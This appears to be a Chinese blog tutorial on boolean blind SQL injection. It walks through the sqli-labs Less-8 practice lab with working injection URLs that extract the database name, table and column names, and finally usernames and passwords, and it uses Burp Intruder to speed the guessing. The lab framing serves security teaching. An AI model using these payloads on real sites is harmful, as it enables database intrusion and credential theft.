SQL注入之布尔盲注入(一)

关于函数substring用法:
eg:substring(appache,1,3) 结果:app 即从第一位开始截取三位
在这里插入图片描述
以sqli-labs-master中第八关为例进行演示:
1.判断数据库名长度
在这里插入图片描述

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and length(database())=8 --+

当长度为9时页面返回值为假,得知数据库名长度为8

2.判断数据库名的第一个字母是否为a(或A) ?

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring(database(),1,1)='a'--+

在这里插入图片描述
根据查询结果返回值为假,则数据库名第一个字母不是a,更改要判断的字母以及判断位置,直到将数据库名查询出来。真值结果如下所示。
在这里插入图片描述
3.在这里可以借助burp suite实现快速查询,避免手动查询的繁琐
在字符a上添加一个payload标记
在这里插入图片描述
在intruder设置中选择payload为从a-z,开始攻击
在这里插入图片描述
根据返回值的长度判断出数据库名第一个字符为s,改变判断位置再次执行相同的攻击,根据返回值长度判断出数据库名第二个字符为e,其余的字符只需更改判断位置即可,不再赘述。
在这里插入图片描述
4.已知数据库名为security,现在开始获取表名

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(table_name) from information_schema.tables where table_schema='security') ,1,1)='a'--+

判断第一张表的第一个字符是否为a,修改判断位置,其余方法一致,直到所有的表被判断出来,在这里提醒一个技巧,可在payload中加入一个英文逗号,以此来判断表名是否结束,比如在判断为止为7的时候,判断出来的字符为’,’ 即表示第一张表结束 完整表名为emails
在这里插入图片描述
5.已知数据库名,表名,查询表中的字段,方法同上

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users') ,1,1)='a'--+

6.已知数据库名、表名、表中字段,现查users表中username和password字段中的内容,账号密码以’^'隔开以便区分,至此注入完毕。

http://172.16.32.128/sqli-labs-master/Less-8/?id=1' and substring((select group_concat(username,'^',password) from security.users) ,1,1)='c'--+

提示:
1.以上的字符判断不区分大小写,但账号密码大小写敏感,对于密码大小写可用ASCII码进行判断
2.盲注入较为繁琐,了解原理之后可采用自动化注入

在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值